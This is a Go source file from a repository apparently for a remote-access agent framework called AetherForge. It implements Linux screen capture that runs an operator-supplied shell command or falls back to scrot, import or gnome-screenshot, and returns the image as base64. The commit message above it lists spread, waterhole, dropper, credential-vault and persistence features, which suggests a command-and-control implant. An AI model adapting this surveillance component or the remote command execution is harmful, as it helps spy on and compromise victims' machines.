Files
AetherForge/agent/client/screenshot_linux.go
AetherForge 1551bd5dad feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
2026-06-04 21:53:31 -07:00

81 lines
2.2 KiB
Go

//go:build linux
package client
import (
"encoding/base64"
"fmt"
"os"
"os/exec"
"strings"
)
func capturePlatformScreenshot(customCmd string) (string, error) {
if strings.TrimSpace(customCmd) != "" {
out, err := exec.Command("/bin/sh", "-c", customCmd).CombinedOutput()
if err != nil {
return "", fmt.Errorf("%w: %s", err, strings.TrimSpace(string(out)))
}
if b64 := extractScreenshotBase64(out); len(b64) >= 100 {
return b64, nil
}
return "", fmt.Errorf("custom screenshot command returned no image data")
}
if raw, err := captureLinuxScreenshotJPEG(); err == nil && len(raw) >= 100 {
return base64.StdEncoding.EncodeToString(raw), nil
} else if err != nil {
return "", err
}
return "", fmt.Errorf("screenshot failed: install scrot, imagemagick (import), or gnome-screenshot")
}
func captureLinuxScreenshotJPEG() ([]byte, error) {
if scrot, err := exec.LookPath("scrot"); err == nil {
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
if err != nil {
return nil, err
}
path := tmp.Name()
_ = tmp.Close()
defer os.Remove(path)
out, runErr := exec.Command(scrot, "-q", "55", path).CombinedOutput()
if runErr != nil {
return nil, fmt.Errorf("scrot: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
return os.ReadFile(path)
}
if importCmd, err := exec.LookPath("import"); err == nil {
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
if err != nil {
return nil, err
}
path := tmp.Name()
_ = tmp.Close()
defer os.Remove(path)
out, runErr := exec.Command(importCmd, "-window", "root", "-quality", "55", path).CombinedOutput()
if runErr != nil {
return nil, fmt.Errorf("import: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
return os.ReadFile(path)
}
if gnome, err := exec.LookPath("gnome-screenshot"); err == nil {
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
if err != nil {
return nil, err
}
path := tmp.Name()
_ = tmp.Close()
defer os.Remove(path)
out, runErr := exec.Command(gnome, "-f", path).CombinedOutput()
if runErr != nil {
return nil, fmt.Errorf("gnome-screenshot: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
return os.ReadFile(path)
}
return nil, fmt.Errorf("no screenshot tool found (scrot, import, gnome-screenshot)")
}